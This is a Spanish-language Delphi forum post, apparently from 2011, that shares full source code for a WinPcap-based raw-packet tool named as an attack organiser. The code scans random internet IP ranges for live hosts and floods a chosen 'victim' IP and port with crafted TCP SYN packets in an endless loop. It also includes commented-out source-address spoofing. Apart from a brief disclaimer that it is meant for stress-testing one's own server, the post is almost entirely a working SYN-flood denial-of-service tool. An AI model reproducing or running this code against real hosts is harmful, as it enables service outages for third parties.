Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Principal > Internet
Registrarse FAQ Miembros Calendario Guía de estilo Temas de Hoy

Grupo de Teaming del ClubDelphi

Respuesta
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 09-01-2011
Avatar de sintecsl
sintecsl sintecsl is offline
Miembro
 
Registrado: jun 2008
Ubicación: Barcelona - Spain
Posts: 40
Poder: 0
sintecsl Va por buen camino
Creación De Paquetes Y Envíos Con La Librería Winpcap

Dejare una imformación que creo les será de utilidad a los desarrolladores de seguridad y a los hackers (bien entendidos).

He profundizado en un tema que desconocía como es la formación de paquetes eth+ip+tcp o udp. Creo que le será de utilidad la información que
a continuación aporto.

Comenzemos por tener las librerías Winpcap : http://www.winpcap.org/install/default.htm

Un programa sniffer (olfateador de red) : http://www.wireshark.org/download.html

Traslado de las librerias en C a delphi (Magenta - tiene ejemplos codigo fuente) : http://www.magsys.co.uk/delphi/magmonsock.asp

Con todo esto tendremos suficiente para crear nuestro programa de creación de paquetes raw-socket.

Como muestra un boton :

Código Delphi [-]unit U_ORGANIZADOR_ATAQUE; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, MI_IP, ExtCtrls, StdCtrls, CnClasses, CnIP, Boton, CnPing, MagentaPacket32, MagentaPackhdrs, RXCtrls, Sockets, WinSock, UtilidadFiles, Math, Flecha, MagentaPcap, MagentaNdis_def, UtilidadSTR, CronoHP; const //rfc1340 ethernet protocols PROTO_PUP = $0200; PROTO_XNS = $0600; PROTO_IP = $0800; PROTO_ARP = $0806; PROTO_REVARP = $0835; PROTO_SCA = $6007; PROTO_ATALK = $809B; PROTO_AARP = $80F3; PROTO_IPX = $8137; PROTO_NOVELL = $8138; PROTO_SNMP = $814C; PROTO_IPV6 = $86DD; PROTO_XIMETA = $88AD; PROTO_LOOP = $900D; OFFSET_IP = 14; // length of ethernet frame header TCP_FLAG_FIN = $01; // TCP flags TCP_FLAG_SYN = $02; TCP_FLAG_RST = $04; TCP_FLAG_PSH = $08; TCP_FLAG_ACK = $10; TCP_FLAG_URG = $20; TCP_FLAG_ECH = $40; TCP_FLAG_CWR = $80; NumPaquetes = 10000; //Numero de atacantes ficticios type TMacAddr = array [0..5] of byte ; // a MAC address THdrEthernet = packed record // Ethernet frame header - Network Interface Layer dmac: TMacAddr; smac: TMacAddr; protocol: WORD; end; PHdrEthernet = ^THdrEthernet ; THdrIP = packed record // IP header (RFC 791) - Internet Layer ihl_ver : BYTE; // Combined field: // ihl:4 - IP header length divided by 4 // version:4 - IP version tos : BYTE; // IP type-of-service field tot_len : WORD; // total length id : WORD; // unique ID frag_off: WORD; // Fragment Offset + fragmentation flags (3 bits) ttl : BYTE; // time to live protocol: BYTE; // protocol type check : WORD; // IP header checksum saddr : TInAddr; // source IP daddr : TInAddr; // destination IP {The options start here...} end; PHdrIP = ^THdrIP; THdrTCP = packed record // TCP header (RFC 793) - Transport Layer source : WORD; // source port dest : WORD; // destination port seq : DWORD; // sequence number ack_seq: DWORD; // next sequence number flags : WORD; // Combined field: // res1:4 - reserved, must be 0 // doff:4 - TCP header length divided by 4 // fin:1 - FIN // syn:1 - SYN // rst:1 - Reset // psh:1 - Push // ack:1 - ACK // urg:1 - Urgent // res2:2 - reserved, must be 0 window : WORD; // window size check : WORD; // checksum, computed later urg_ptr: WORD; // used for async messaging? Opciones : array[0..7] of Byte; //Util para SYN ya que se envía el tamañode Buf end; PHdrTCP = ^THdrTCP; TPaqueteEnvio = record //Paquete completo de envío TCP MACS : THdrEthernet; IP :THdrIP; TCP : THdrTCP; end; TPaquetes = array[0..NumPaquetes-1] of TPaqueteEnvio; //Multiples paquetes TForm1 = class(TForm) GroupBox1: TGroupBox; Splitter1: TSplitter; GroupBox2: TGroupBox; IP_Internet: TLabel; IP_Red: TLabel; CnIp1: TCnIp; Boton1: TBoton; Boton2: TBoton; CnPing1: TCnPing; ListadeIPs: TTextListBox; Button1: TButton; Memo1: TMemo; IPEncontradas: TLabel; IP_Inferior: TEdit; IP_Superior: TEdit; Label1: TLabel; Label2: TLabel; Label3: TLabel; Button2: TButton; Button3: TButton; Memo2: TMemo; Button4: TButton; VictimaIPoWEB: TEdit; Label4: TLabel; CnPing2: TCnPing; Flecha1: TFlecha; IPVictima: TLabel; TextListBox1: TTextListBox; Label5: TLabel; PuertoAtacar: TEdit; Label6: TLabel; Label7: TLabel; AdapterList: TListBox; StopEnvios: TButton; EnviosRealizados: TLabel; CronoHP1: TCronoHP; procedure FormCreate(Sender: TObject); procedure Boton1Click(Sender: TObject); procedure Button1Click(Sender: TObject); procedure CnPing1Received(Sender: TComponent; IPAddr, HostName: String; TTL, TOS: Byte); procedure CnPing1Error(Sender: TComponent; IPAddr, HostName: String; TTL, TOS: Byte; ErrorMsg: String); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure VictimaIPoWEBExit(Sender: TObject); procedure VictimaIPoWEBKeyPress(Sender: TObject; var Key: Char); procedure Boton2Click(Sender: TObject); procedure StopEnviosClick(Sender: TObject); private { Private declarations } PararEnvios : Boolean; //Control de parada para envios FicheroIPs : string; //Guardado de IP existentes Paquetes : TPaquetes; //Paquetes de envío conformados ActivadaBusquedaIPs : Boolean; //Escaneo de IP existentes NameList, DescList: TStringList; function CheckSumPaq(pack : Pointer; Size : Integer) : Word; procedure RefrescaIP_locales; //Actualiza IP del PC procedure BuscaIPactivasenInternet; //Busqueda de IP existentes en internet public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var Error : string; NumeroAdaptadores : Integer; x : Integer; begin ActivadaBusquedaIPs:=False; Button1.Font.Color:=clBlue; Button1.Caption:='Rastrea IPs'; FicheroIPs:=ExtractFilePath(Application.ExeName)+'LISTA DE IPs.TXT'; ListadeIPs.Sorted:=True; if FileExists(FicheroIPs) then ListadeIPs.Items.LoadFromFile(FicheroIPs); IPEncontradas.Caption:=IntToStr(ListadeIPs.Items.Count); Randomize; //Generador aleatorio RefrescaIP_locales; //Buscamos el número de adaptadores que tenemos en el equipo //Creamos lista nombre y descripciones NameList:=TStringList.Create; DescList:=TStringList.Create; NumeroAdaptadores:=Pcap_GetAdapternamesEx(NameList,DescList,Error); if Error<>'' then MensageError(Error) else Memo2.Lines.Add('Adaptadores encontrados : '+ NumeroToStr(NumeroAdaptadores)); for x:=0 to NameList.Count-1 do AdapterList.Items.Add(NameList.Strings[x]+' -> '+DescList.Strings[x]); AdapterList.ItemIndex:=0; PararEnvios:=False; StopEnvios.Enabled:=False; //Terminamos liberando end; procedure TForm1.RefrescaIP_locales; begin IP_Internet.Caption:=MI_IP.IP_Publica; //Extraigo mi ip de internet IP_Red.Caption:=CnIp1.IPAddress; //IP local de la máquina; end; procedure TForm1.Boton1Click(Sender: TObject); begin RefrescaIP_locales; end; procedure TForm1.BuscaIPactivasenInternet; begin //Busca un listado de IP's reales existentes en internet Button1Click(Self) end; procedure TForm1.Button1Click(Sender: TObject); var x : Integer; IP_Max, IP_Min : Integer; //Rango de ip a rastrear IP : Integer; Reply : string; begin //Busca un listado de IP's reales existentes en internet if ActivadaBusquedaIPs then begin ActivadaBusquedaIPs:=False; Exit; end; ActivadaBusquedaIPs:=True; //Informa de que esta operativa la busqueda Button1.Font.Color:=clRed; Button1.Caption:='STOP'; IP_Min:=CnIp1.IPToInt(IP_Inferior.Text); IP_Max:=CnIp1.IPToInt(IP_Superior.Text); for x:=1 to 10000 do begin IP:=RandomRange(IP_Min,IP_Max); CnPing1.RemoteIP:=CnIp1.IntToIP(IP); Application.ProcessMessages; if not ActivadaBusquedaIPs then //Paralizamos busquedas begin ListadeIPs.Items.SaveToFile(FicheroIPs); ActivadaBusquedaIPs:=False; Button1.Font.Color:=clBlue; Button1.Caption:='Rastrea IPs'; Exit; //Salimos end; if CnPing1.Ping(Reply) then Memo1.Lines.Add(Reply); ListadeIPs.Refresh; Application.ProcessMessages; end; ActivadaBusquedaIPs:=False; Button1.Font.Color:=clBlue; Button1.Caption:='Rastrea IPs'; ListadeIPs.Items.SaveToFile(FicheroIPs); end; procedure TForm1.CnPing1Received(Sender: TComponent; IPAddr, HostName: String; TTL, TOS: Byte); begin Memo1.Lines.Add(IPAddr); ListadeIPs.Items.Add(IPAddr); IPEncontradas.Caption:=IntToStr(ListadeIPs.Items.Count); end; procedure TForm1.CnPing1Error(Sender: TComponent; IPAddr, HostName: String; TTL, TOS: Byte; ErrorMsg: String); begin Memo1.Lines.Add('Error en : '+IPAddr) end; procedure TForm1.Button2Click(Sender: TObject); var x : Integer; Reply : string; Lista : TStringList; begin //Comprobamos el listado para saber si sige vivo o estan de baja if ActivadaBusquedaIPs then Exit; Lista:=TStringList.Create; Lista.Sorted:=True; Lista.Text:=ListadeIPs.Items.Text; //Borramos la lista para dejar solo las vivas ListadeIPs.Items.Clear; for x:=0 to Lista.Count-1 do begin CnPing1.RemoteIP:=Lista.Strings[x]; if CnPing1.Ping(Reply) then Memo1.Lines.Add(Reply); Memo1.Refresh; ListadeIPs.Refresh; Application.ProcessMessages; end; Lista.Free; ListadeIPs.Items.SaveToFile(FicheroIPs); end; procedure TForm1.Button3Click(Sender: TObject); begin Memo1.Lines.Clear //Borramos info cliente end; function TForm1.CheckSumPaq(pack: Pointer; Size: Integer): Word; begin Result:=0; //Realizar checksum a 16 bits y complemento a uno end; procedure TForm1.Button4Click(Sender: TObject); begin Memo2.Lines.Clear; //Borramos info ataque end; procedure TForm1.VictimaIPoWEBExit(Sender: TObject); var key : Char; begin key:=#13; VictimaIPoWEBKeyPress(Self,Key); end; procedure TForm1.VictimaIPoWEBKeyPress(Sender: TObject; var Key: Char); begin if Key<>#13 then Exit; CnPing2.RemoteHost:=VictimaIPoWEB.Text; IPVictima.Caption:=CnPing2.RemoteIP end; procedure TForm1.Boton2Click(Sender: TObject); function SwapLWord(LW : LongWord) : LongWord; begin asm mov eax,LW mov bl,ah mov bh,al shl ebx,16 //desplazamos a la parte alta shr eax,16 //bajamos parte alta mov bl,ah mov bh,al mov Result,ebx end; end; function SwapWord(W : Word) : Word; begin asm mov ax,W mov bl,ah mov bh,al mov Result,bx end; end; procedure CalculaCheckSumIP(Posicion : Integer); var pba : PByteArray; dwChecksum: longword; i, ipBytes : integer; begin ipBytes := SizeOf(THdrIP); //Número de Bytes pba := PByteArray(@Paquetes[Posicion].IP); dwChecksum := 0; i:=0; while ido begin inc(dwChecksum,(pba[i] shl 8)+pba[i+1]); inc(i,2) end; while (dwChecksum shr 16) <> 0 do //Sumamos carrys (acarreos) dwChecksum := (dwChecksum and $FFFF) +(dwChecksum shr 16); dwCheckSum := dwChecksum xor $FFFFFFFF; //Complemento a uno Paquetes[Posicion].IP.check:=htons(dwChecksum); //Le ponemos el CheckSum complemento a 1 end; procedure CalculaCheckSumTCP(Posicion : Integer); type TSeudoHdr = record saddr : TInAddr; // source IP daddr : TInAddr; // destination IP cero : Byte; // Relleno de ceros protocol : Byte; // Protocolo (6) TCP_leng : Word; // Longitud del TCP + Datos TCP : THdrTCP; // El header TCP a calcular end; var SeudoHdr : TSeudoHdr; pba : PByteArray; dwChecksum : LongWord; i, tcpBytes : integer; begin //Creamos el Seudo-Header SeudoHdr.saddr:=Paquetes[Posicion].IP.saddr; SeudoHdr.daddr:=Paquetes[Posicion].IP.daddr; SeudoHdr.cero:=0; SeudoHdr.protocol:=Paquetes[Posicion].IP.protocol; SeudoHdr.TCP_leng:=htons(SizeOf(Paquetes[0].TCP)); //Copiamos el header TCP Move(Paquetes[Posicion].TCP,SeudoHdr.TCP,SizeOf(SeudoHdr.TCP)); //Creamos apuntador al Seudo-Header creado pba := PByteArray(@SeudoHdr); tcpBytes := SizeOf(SeudoHdr); //Número de Bytes //Calculamos ChackSum dwChecksum := 0; i:=0; while ido begin inc(dwChecksum,(pba[i] shl 8)+pba[i+1]); inc(i,2) end; while (dwChecksum shr 16) <> 0 do //Sumamos carrys (acarreos) dwChecksum := (dwChecksum and $FFFF) +(dwChecksum shr 16); dwCheckSum := dwChecksum xor $FFFFFFFF; //Complemento a uno Paquetes[Posicion].TCP.check:=htons(dwChecksum); //Le ponemos el CheckSum complemento a 1 end; label para; const Opciones : array[0..7] of byte = ($02,$04,$05,$B4,$01,$01,$04,$02); var x, p : Integer; PuertoAtaque : Integer; IPVictima : TInAddr; IPAtacante : TInAddr; IP_Min, IP_Max : Integer; Adaptador : Padapter; Paquete : Ppacket; PackedBuf : Pointer; pba : PByteArray; NombreAdaptador : PAnsiChar; begin Memo2.Lines.Add('Preparando '+NumeroToStr(NumPaquetes)+' cabeceras TCP/IP'); //Renovamos IP Victima por si a caso VictimaIPoWEBExit(Self); //Vaciamos todo FillChar(Paquetes,SizeOf(Paquetes),0); //Preparamos ataque e inicializamos IPVictima.S_addr:=CnIP1.IPToInt(CnPing2.RemoteIP); //Puerto a atacar PuertoAtaque:=StrToInt(PuertoAtacar.Text); //IP's de ataque IP_Min:=CnIp1.IPToInt(IP_Inferior.Text); IP_Max:=CnIp1.IPToInt(IP_Superior.Text); //Cuidado se debe invertir los Words y los LongWrods; ya que se envían en //serie los datos y por tanto entra primero la parte baja //Inicializamos control de envíos PararEnvios:=False; StopEnvios.Enabled:=True; for x:=0 to NumPaquetes-1 do begin //Memo2.Lines.Add(NumeroToStr(x)); //Comenzamos con las MAC's //DESTINO Paquetes[x].MACS.dmac[0]:=$00; Paquetes[x].MACS.dmac[1]:=$1A; Paquetes[x].MACS.dmac[2]:=$2B; Paquetes[x].MACS.dmac[3]:=$6F; Paquetes[x].MACS.dmac[4]:=$3F; Paquetes[x].MACS.dmac[5]:=$F0; //SOURCE Paquetes[x].MACS.smac[0]:=$C4; Paquetes[x].MACS.smac[1]:=$17; Paquetes[x].MACS.smac[2]:=$FE; Paquetes[x].MACS.smac[3]:=$45; Paquetes[x].MACS.smac[4]:=$41; Paquetes[x].MACS.smac[5]:=$6A; //PROTOCOLO Paquetes[x].MACS.protocol:=htons(PROTO_IP); //Protocolo bajo IP (Invertimos Swap) //Cabeceras IP Paquetes[x].IP.ihl_ver:=$45; //Versión IPv4 mas la longitud de 20 bytes Paquetes[x].IP.tos:= 0; //Tipo de servicio //Longitud total cabecera y datos menos cabecera ethernet de 14 bytes Paquetes[x].IP.tot_len:=htons(SizeOf(Paquetes[0])-14); Paquetes[x].IP.id:=htons(RandomRange(5,32222)); //Identificador único del paquete IP Paquetes[x].IP.frag_off:=0; Paquetes[x].IP.ttl:=128; //Tiempo de vida (o nº de pasos por host antes de descartar) Paquetes[x].IP.protocol:=IPPROTO_TCP; //Normalmente 6 para TCP Paquetes[x].IP.daddr.S_addr:=htonl(IPVictima.S_addr); //Dirección destino Victima // Paquetes[x].IP.saddr.S_addr:=htonl(CnIp1.IPToInt('192.168.1.27')); // Paquetes[x].IP.saddr.S_addr:=htonl(RandomRange(IP_Min,IP_Max)); //Dirección atacante CalculaCheckSumIP(x); //Calculamos checksum header IP //Cabeceras TCP Paquetes[x].TCP.source:=htons(RandomRange(1024,1500)); //Puerto atacante Paquetes[x].TCP.dest:=htons(PuertoAtaque); //Puerto a atacar Paquetes[x].TCP.seq:=htonl(RandomRange(1000,55000)); //Rango de secuencia aleatorio Paquetes[x].TCP.ack_seq:=0; //No estamos respondiendo Paquetes[x].TCP.flags:=htons(TCP_FLAG_SYN); //Tipo de petición (SYN) Paquetes[x].TCP.window:=htons(16384); //Prefijado tamaño máximo de bufer receptor pba:=@Paquetes[x]; pba[46]:=$70; //Tamaño header TCP Move(Opciones,Paquetes[x].TCP.Opciones,SizeOf(Opciones)); CalculaCheckSumTCP(x); //Ponemos checksum TCP end; Memo2.Lines.Add('Terminada preparación cabeceras TCP/IP'); Memo2.Lines.Add('Controlador : '+DescList.Strings[AdapterList.ItemIndex]); Memo2.Lines.Add('Apertura de controlador directo...'); NombreAdaptador:=PAnsiChar(NameList.Strings[AdapterList.ItemIndex]); Adaptador:=PacketOpenAdapter(NombreAdaptador); if Adaptador.hFile<>0 then Memo2.Lines.Add('Apertura correcta.') else begin Memo2.Lines.Add('Apertura INCORRECTA'); Exit; //Salimos end; //Activamos el modo promiscuo PacketSetHwFilter(Adaptador,NDIS_PACKET_TYPE_PROMISCUOUS); //Inicializamos paquete (manejador de buffer de envíos) Paquete:=PacketAllocatePacket; //Inicializamos Paquete y buffer GetMem(PackedBuf,SizeOf(Paquetes[0])); PacketInitPacket(Paquete,PackedBuf,SizeOf(Paquetes[0])); //Número de repeticiones de cada paquete enviado // PacketSetNumWrites(Adaptador,1); //De momento solo una vez repeat begin CronoHP1.Activa(1); for x:=0 to NumPaquetes-1 do //Comenzamos envío begin Move(Paquetes[x],PackedBuf^,SizeOf(Paquetes[0])); (* if PacketSendPacket(Adaptador,Paquete,True) then Memo2.Lines.Add('Enviado Paquete nº '+NumeroToStr(x)) else Memo2.Lines.Add('No enviado Paquete nº '+NumeroToStr(x)); *); PacketSendPacket(Adaptador,Paquete,True); Application.ProcessMessages; if PararEnvios then goto Para; end; CronoHP1.Para(1); EnviosRealizados.Caption:=NumeroToStr(NumPaquetes/CronoHP1.Read_i(1,fcSeg))+' paq/seg'; end; until PararEnvios; Para : FreeMem(PackedBuf); //Liberamos memoria buf Memo2.Lines.Add('Cerrando controlador ... '); //Cerramos el controlador y liberamos el paquete PacketCloseAdapter(Adaptador); PacketFreePacket(Paquete); Memo2.Lines.Add('FIN OPERACIONES.'); end; procedure TForm1.StopEnviosClick(Sender: TObject); begin PararEnvios:=True; StopEnvios.Enabled:=False; end; end.


Algunas definiciones están repetidas de la libreria Magenta. Cosas mias.

Esto solo es un ejemplo de uso (del cual no se debe abusar).

Es útil para probar tú servidor y ver la capacidad de stress.....

Se adjunta ficheros codigo fuente.
Archivos Adjuntos
Tipo de Archivo: zip U_ORGANIZADOR_ATAQUE.zip (9,7 KB, 27 visitas)
__________________
www.sintecsl.es
Responder Con Cita
Respuesta



Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
Paquetes dinámicos! BlackDaemon OOP 26 21-04-2009 13:01:09
Como capturar los envios a la impresora Alexandro Varios 2 11-02-2009 14:08:36
Código de verificación para prevenir envíos automáticos elcigarra PHP 2 04-05-2007 01:01:19
Compresion y envios cortos rastafarey Firebird e Interbase 3 23-11-2005 15:04:08
paquetes ¿? acertij022 Internet 0 20-08-2003 16:06:31


La franja horaria es GMT +2. Ahora son las 22:38:06.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi